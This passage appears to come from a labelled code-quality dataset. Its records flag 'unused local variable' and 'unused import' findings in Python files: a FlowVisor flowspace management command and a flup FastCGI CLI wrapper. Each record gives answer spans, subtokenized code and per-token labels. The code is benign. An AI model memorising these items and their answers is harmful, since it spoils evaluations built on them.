"\\u\\u\\uNEWLINE\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "get_", "(_", "one", "\\u", "url_", ",_", "headers_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "If", "-", "Match", "'_", ":_", "'*'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "change", " ", "a", " ", "resource_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "put_", "(_", "one", "\\u", "url_", ",_", "data_", "=_", "{_", "'", "name", "'_", ":_", "'", "not", "-", "one", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "use", " ", "stale", " ", "etag_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "get_", "(_", "one", "\\u", "url_", ",_", "headers_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "If", "-", "Non", "e-", "Match", "'_", ":_", "one", "\\u", "etag_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_",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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
fp7-ofelia/ocf/optin_manager/src/python/openflow/optin_manager/commands/management/commands/standardize_flowvisor_slices.py
[ { "content": " def handle_noargs(self, **options):\n \"\"\"\n Grants flowspaces for previously conflictive slices at Flowvisor.\n Used in conjunction **and after** the script with the same name\n at expedient.\n \n Flow:\n 1. Expedient: manage.py standardize_flowvisor_slices stop\n 2. Expedient: manage.py standardize_flowvisor_slices start\n 3. Opt-in: manage.py standardize_flowvisor_slices\n \"\"\"\n # If 'slice_ids_to_grant_fs' file exists, do the following.\n # Otherwise warn and skip.\n try:\n f = open(\"%s/slice_ids_to_grant_fs\" % path,\"r\")\n ids = pickle.load(f)\n f.close()\n os.remove(\"%s/slice_ids_to_grant_fs\" % path)\n user = User.objects.filter(username=settings.ROOT_USERNAME)[0]\n adminFS = AdminFlowSpace.objects.filter(user = user)\n profile = UserProfile.get_or_create_profile(user)\n fv = FVServerProxy.objects.all()[0]\n for iden in ids:\n assigned_priority = profile.max_priority_level - Priority.Strict_Priority_Offset - 1\n all_this_admin_opts = UserOpts.objects.filter(user=user,nice=True)\n for admin_opt in all_this_admin_opts:\n if admin_opt.priority <= assigned_priority:\n assigned_priority = admin_opt.priority - 1\n # Filter by slice \"keywords\" (name), same as in the previous steps\n selexp = filter_own_experiment(iden)\n flow_space = ExperimentFLowSpace.objects.filter(exp=selexp.id)\n if not flow_space:\n print \"No matched flowspaces for slice %s\" % iden['id']\n continue \n #intersected_flowspace = multi_fs_intersect(flow_space,adminFS,FlowSpace)\n intersected_flowspace = get_used_fs(flow_space)\n fv_args,match_list = opt_fs_into_exp(intersected_flowspace,selexp,user,assigned_priority,True)\n #for i in range(len(fv_args)):\n # for j in range(len(fv_args)):\n # print fv_args[i] == fv_args[j]\n returned_ids = fv.proxy.api.changeFlowSpace(fv_args)\n for i in range(len(match_list)):\n match_list[i].fv_id = returned_ids[i]\n match_list[i].save()\n allopts = UserOpts.objects.filter(user = user).order_by('-priority')\n \n for opt in allopts:\n this_opt_fses = opt.optsflowspace_set.all()\n fs_project = opt.experiment.project_name or \"\"\n fs_slice = opt.experiment.slice_name or \"\"\n fs_description = \"\"\n for fs in this_opt_fses:\n if fs_description != \"\":\n fs_description = fs_description + \"\\n%s\" % fs\n else:\n fs_description = \"%s\" % fs\n print \"Flowspace for slice %s was successfully granted\" % iden['id']\n time.sleep(FLOWVISOR_SLEEP_TIME)\n self.stdout.write(\"\\033[92m%s\\033[0m\\n\" % \"Successfully granted flowspaces at FlowVisor\\n\")\n except Exception as e:\n print e\n self.stdout.write(\"\\033[93mCould not access file with slice IDs. Skipping...\\033[0m\\n\")", "metadata": "root.Command.handle_noargs", "header": "['class', 'Command', '(', 'NoArgsCommand', ')', ':', '___EOS___']", "index": 22 } ]
[ { "span": "adminFS ", "start_line": 41, "start_column": 12, "end_line": 41, "end_column": 19 }, { "span": "fs_project ", "start_line": 70, "start_column": 20, "end_line": 70, "end_column": 30 }, { "span": "fs_slice ", "start_line": 71, "start_column": 20, "end_line": 71, "end_column": 28 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Command_", "(_", "No", "Arg", "s", "Command_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "handle", "\\u", "noar", "gs_", "(_", "self_", ",_", "**_", "options_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Grant", "s", " ", "flow", "space", "s", " ", "for", " ", "previ", "ously", " ", "confl", "ict", "ive", " ", "slice", "s", " ", "at", " ", "Flow", "visor", ".", "\\", "10", ";", " ", " ", " ", " ", "Us", "ed", " ", "in", " ", "conjunction", " ", "**", "and", " ", "after", "**", " ", "the", " ", "script", " ", "with", " ", "the", " ", "same", " ", "name", "\\", "10", ";", " ", " ", " ", " ", "at", " ", "expe", "die", "nt", ".", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Flow", ":", "\\", "10", ";", " ", " ", " ", " ", "1", ".", " ", "Expe", "die", "nt", ":", " ", "manage", ".", "py", " ", "standardize", "\\u", "flow", "visor", "\\u", "slice", "s", " ", "stop", "\\", "10", ";", " ", " ", " ", " ", "2", ".", " ", "Expe", "die", "nt", ":", " ", "manage", ".", "py", " ", "standardize", "\\u", "flow", "visor", "\\u", "slice", "s", " ", "start", "\\", "10", ";", " ", " ", " ", " ", "3", ".", " ", "Opt", "-", "in", ":", " ", "manage", ".", "py", " ", "standardize", "\\u", "flow", "visor", "\\u", "slice", "s", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "If", " ", "'", "slice", "\\u", "ids", "\\u", "to", "\\u", "grant", "\\u", "fs", "'", " ", "file", " ", "exist", "s", ",", " ", "do", " ", "the", " ", "follow", "ing", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Ot", "her", "wis", "e", " ", "warn", " ", "and", " ", "skip", "._", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "=_", "open_", "(_", "\"%", "s", "/", "slice", "\\u", "ids", "\\u", "to", "\\u", "grant", "\\u", "fs", "\"_", "%_", "path_", ",_", "\"", "r", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ids_", "=_", "pickle_", "._", "load_", "(_", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "remove_", "(_", "\"%", "s", "/", "slice", "\\u", "ids", "\\u", "to", "\\u", "grant", "\\u", "fs", "\"_", "%_", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user_", "=_", "User_", "._", "objects_", "._", "filter_", "(_", "username_", "=_", "settings_", "._", "ROO", "T", "\\u", "USERNAME_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "admin", "FS_", "=_", "Admi", "n", "Flow", "Space_", "._", "objects_", "._", "filter_", "(_", "user_", "=_", "user_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "profile_", "=_", "User", "Profile_", "._", "get", "\\u", "or", "\\u", "create", "\\u", "profile_", "(_", "user_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fv_", "=_", "FV", "Server", "Proxy_", "._", "objects_", "._", "all_", "(_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "iden", "_", "in_", "ids_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assign", "ed", "\\u", "priority_", "=_", "profile_", "._", "max", "\\u", "priorit", "y", "\\u", "level_", "-_", "Priority_", "._", "Stri", "ct", "\\u", "Prior", "it", "y", "\\u", "Offset_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "all", "\\u", "this", "\\u", "admin", "\\u", "opts_", "=_", "User", "Opts_", "._", "objects_", "._", "filter_", "(_", "user_", "=_", "user_", ",_", "nice_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "admin", "\\u", "opt_", "in_", "all", "\\u", "this", "\\u", "admin", "\\u", "opts_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "admin", "\\u", "opt_", "._", "priority_", "<=_", "assign", "ed", "\\u", "priority_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "assign", "ed", "\\u", "priority_", "=_", "admin", "\\u", "opt_", "._", "priority_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Filter", " ", "by", " ", "slice", " ", "\"", "keywords", "\"", " ", "(", "name", "),", " ", "same", " ", "as", " ", "in", " ", "the", " ", "previ", "ous", " ", "steps_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "sele", "xp_", "=_", "filter", "\\u", "own", "\\u", "experiment_", "(_", "iden", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "flow", "\\u", "space_", "=_", "Experiment", "FL", "ow", "Space_", "._", "objects_", "._", "filter_", "(_", "exp_", "=_", "sele", "xp_", "._", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "flow", "\\u", "space_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "print_", "\"", "No", " ", "matche", "d", " ", "flow", "space", "s", " ", "for", " ", "slice", " ", "%", "s", "\"_", "%_", "iden", "_", "[_", "'", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "intersect", "ed", "\\u", "flow", "space", " ", "=", " ", "multi", "\\u", "fs", "\\u", "intersect", "(", "flow", "\\u", "space", ",", "admin", "FS", ",", "Flow", "Spac", "e", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "intersect", "ed", "\\u", "flow", "space_", "=_", "get", "\\u", "used", "\\u", "fs_", "(_", "flow", "\\u", "space_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fv", "\\u", "args_", ",_", "match", "\\u", "list_", "=_", "opt", "\\u", "fs", "\\u", "int", "o", "\\u", "exp_", "(_", "intersect", "ed", "\\u", "flow", "space_", ",_", "sele", "xp_", ",_", "user_", ",_", "assign", "ed", "\\u", "priority_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "for", " ", "i", " ", "in", " ", "range", "(", "len", "(", "fv", "\\u", "args", "))", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "for", " ", "j", " ", "in", " ", "range", "(", "len", "(", "fv", "\\u", "args", "))", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "print", " ", "fv", "\\u", "args", "[", "i", "]", " ", "==", " ", "fv", "\\u", "args", "[", "j", "]_", "\\u\\u\\uNL\\u\\u\\u_", "return", "ed", "\\u", "ids_", "=_", "fv_", "._", "proxy_", "._", "api_", "._", "change", "Flow", "Space_", "(_", "fv", "\\u", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "len_", "(_", "match", "\\u", "list_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "match", "\\u", "list_", "[_", "i_", "]_", "._", "fv", "\\u", "id_", "=_", "return", "ed", "\\u", "ids_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "match", "\\u", "list_", "[_", "i_", "]_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "allo", "pts_", "=_", "User", "Opts_", "._", "objects_", "._", "filter_", "(_", "user_", "=_", "user_", ")_", "._", "order", "\\u", "by_", "(_", "'-", "priorit", "y", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "opt_", "in_", "allo", "pts_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "this", "\\u", "opt", "\\u", "fse", "s_", "=_", "opt_", "._", "opts", "flow", "space", "\\u", "set_", "._", "all_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fs", "\\u", "project_", "=_", "opt_", "._", "experiment_", "._", "project", "\\u", "name_", "or_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fs", "\\u", "slice_", "=_", "opt_", "._", "experiment_", "._", "slice", "\\u", "name_", "or_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fs", "\\u", "description_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "fs_", "in_", "this", "\\u", "opt", "\\u", "fse", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "if_", "fs", "\\u", "description_", "!=_", "\"\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "fs", "\\u", "description_", "=_", "fs", "\\u", "description_", "+_", "\"\\\\", "n", "%", "s", "\"_", "%_", "fs_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "fs", "\\u", "description_", "=_", "\"%", "s", "\"_", "%_", "fs_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "\"", "Flow", "space", " ", "for", " ", "slice", " ", "%", "s", " ", "was", " ", "success", "full", "y", " ", "grant", "ed", "\"_", "%_", "iden", "_", "[_", "'", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "FLOW", "VIS", "OR", "\\u", "SLEEP", "\\u", "TIME_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "stdout_", "._", "write_", "(_", "\"\\\\", "033", "[", "9", "2m", "%", "s", "\\\\", "033", "[", "0", "m", "\\\\", "n", "\"_", "%_", "\"", "Success", "full", "y", " ", "grant", "ed", " ", "flow", "space", "s", " ", "at", " ", "Flow", "Vis", "or", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "e_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "stdout_", "._", "write_", "(_", "\"\\\\", "033", "[", "9", "3", "m", "Cou", "ld", " ", "not", " ", "access", " ", "file", " ", "with", " ", "slice", " ", "ID", "s", ".", " ", "Ski", "ppi", "ng", "...", "\\\\", "033", "[", "0", "m", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
SmartTeleMax/iktomi/iktomi/cli/fcgi.py
[ { "content": "# -*- coding: utf-8 -*-\n\nimport os\nimport sys\nimport time\nimport errno\nimport signal\nimport logging\nlogger = logging.getLogger(__name__)\n\nfrom .base import Cli\nfrom iktomi.utils.system import safe_makedirs, is_running, terminate, \\\n doublefork\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def flup_fastcgi(wsgi_app, bind, cwd=None, pidfile=None, logfile=None,\n daemonize=False, umask=None, **params):\n if params.pop('preforked', False):\n from flup.server import fcgi_fork as fcgi\n else:\n from flup.server import fcgi\n if daemonize:\n if os.path.isfile(pidfile):\n with open(pidfile, 'r') as f:\n try:\n pid = int(f.read())\n except ValueError:\n pid = None\n\n if pid is not None and is_running(pid):\n sys.exit('Already running (PID: {})'.format(pid))\n elif pid is not None:\n logger.info('PID file was pointing to nonexistent process %r',\n pid)\n else:\n logger.info('PID file should contain a number')\n doublefork(pidfile, logfile, cwd, umask)\n logger.info('Starting FastCGI server (flup), current working dir %r', cwd)\n fcgi.WSGIServer(wsgi_app, bindAddress=bind, umask=umask,\n debug=False, **params).run()", "metadata": "root.flup_fastcgi", "header": "['module', '___EOS___']", "index": 15 }, { "content": "class Flup(Cli):\n '''\n Flup FastCGI server\n\n :param app: iktomi app\n :param bind: socket file\n :param logfile: log file\n :param pidfile: PID file\n :param cwd: current working directory\n :param umask:\n :param dict fastcgi_params: arguments accepted by flup `WSGIServer`,\n plus `preforked`\n '''\n\n\n\n", "metadata": "root.Flup", "header": "['module', '___EOS___']", "index": 42 }, { "content": " def __init__(self, app, bind='', logfile=None, pidfile=None,\n cwd='.', umask=002, fastcgi_params=None):\n self.app = app\n self.cwd = os.path.abspath(cwd)\n if ':' in bind:\n host, port = bind.split(':')\n port = int(port)\n else:\n bind = os.path.abspath(bind or os.path.join(self.cwd, 'fcgi.sock'))\n safe_makedirs(bind)\n self.bind = bind\n self.umask = umask\n self.logfile = logfile or os.path.join(self.cwd, 'fcgi.log')\n self.pidfile = pidfile or os.path.join(self.cwd, 'fcgi.pid')\n self.fastcgi_params = fastcgi_params or {}", "metadata": "root.Flup.__init__", "header": "['class', 'Flup', '(', 'Cli', ')', ':', '___EOS___']", "index": 56 }, { "content": " def command_start(self, daemonize=False):\n '''\n Start a server::\n\n ./manage.py flup:start [--daemonize]\n '''\n if daemonize:\n safe_makedirs(self.logfile, self.pidfile)\n flup_fastcgi(self.app, bind=self.bind, pidfile=self.pidfile,\n logfile=self.logfile, daemonize=daemonize,\n cwd=self.cwd, umask=self.umask, **self.fastcgi_params)", "metadata": "root.Flup.command_start", "header": "['class', 'Flup', '(', 'Cli', ')', ':', '___EOS___']", "index": 72 }, { "content": " def command_stop(self):\n '''\n Stop a server::\n\n ./manage.py flup:stop\n '''\n if self.pidfile:\n if not os.path.exists(self.pidfile):\n sys.exit(\"Pidfile {!r} doesn't exist\".format(self.pidfile))\n with open(self.pidfile) as pidfile:\n pid = int(pidfile.read())\n for sig in [signal.SIGINT, signal.SIGTERM, signal.SIGKILL]:\n try:\n if terminate(pid, sig, 3):\n os.remove(self.pidfile)\n sys.exit()\n except OSError as exc:\n if exc.errno != errno.ESRCH:\n raise\n elif sig == signal.SIGINT:\n sys.exit('Not running')\n sys.exit('No pidfile provided')", "metadata": "root.Flup.command_stop", "header": "['class', 'Flup', '(', 'Cli', ')', ':', '___EOS___']", "index": 84 }, { "content": " def command_restart(self):\n self.command_stop()\n self.command_start()", "metadata": "root.Flup.command_restart", "header": "['class', 'Flup', '(', 'Cli', ')', ':', '___EOS___']", "index": 107 } ]
[ { "span": "import time", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 11 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "errno_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "signal_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logger_", "=_", "logging_", "._", "get", "Logger_", "(_", "\\u\\u", "name\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "._", "base_", "import_", "Cli", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "ik", "tom", "i_", "._", "utils_", "._", "system_", "import_", "safe", "\\u", "makedirs_", ",_", "is", "\\u", "running_", ",_", "terminate_", ",_", "double", "fork_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "flu", "p", "\\u", "fast", "cgi_", "(_", "wsgi", "\\u", "app_", ",_", "bind_", ",_", "cwd_", "=_", "None_", ",_", "pidfile_", "=_", "None_", ",_", "logfile_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "daemon", "ize_", "=_", "False_", ",_", "umask", "_", "=_", "None_", ",_", "**_", "params_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "params_", "._", "pop_", "(_", "'", "pref", "ork", "ed", "'_", ",_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "flu", "p_", "._", "server_", "import_", "fc", "gi", "\\u", "fork_", "as_", "fc", "gi_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "flu", "p_", "._", "server_", "import_", "fc", "gi_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "daemon", "ize_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "os_", "._", "path_", "._", "isfile_", "(_", "pidfile_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "open_", "(_", "pidfile_", ",_", "'", "r", "'_", ")_", "as_", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pid_", "=_", "int_", "(_", "f_", "._", "read_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Value", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pid_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "pid_", "is_", "not_", "None_", "and_", "is", "\\u", "running_", "(_", "pid_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sys_", "._", "exit_", "(_", "'", "Al", "read", "y", " ", "runn", "ing", " ", "(", "PID", ":", " ", "{})", "'_", "._", "format_", "(_", "pid_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "pid_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "info_", "(_", "'", "PID", " ", "file", " ", "was", " ", "pointi", "ng", " ", "to", " ", "nonexist", "ent", " ", "process", " ", "%", "r", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "pid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "info_", "(_", "'", "PID", " ", "file", " ", "shou", "ld", " ", "contain", " ", "a", " ", "number", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "double", "fork_", "(_", "pidfile_", ",_", "logfile_", ",_", "cwd_", ",_", "umask", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "logger_", "._", "info_", "(_", "'", "Start", "ing", " ", "Fast", "CGI", " ", "server", " ", "(", "flu", "p", "),", " ", "current", " ", "working", " ", "dir", " ", "%", "r", "'_", ",_", "cwd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fc", "gi_", "._", "WS", "GI", "Server_", "(_", "wsgi", "\\u", "app_", ",_", "bind", "Address_", "=_", "bind_", ",_", "umask", "_", "=_", "umask", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "debug_", "=_", "False_", ",_", "**_", "params_", ")_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Flu", "p_", "(_", "Cli", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", 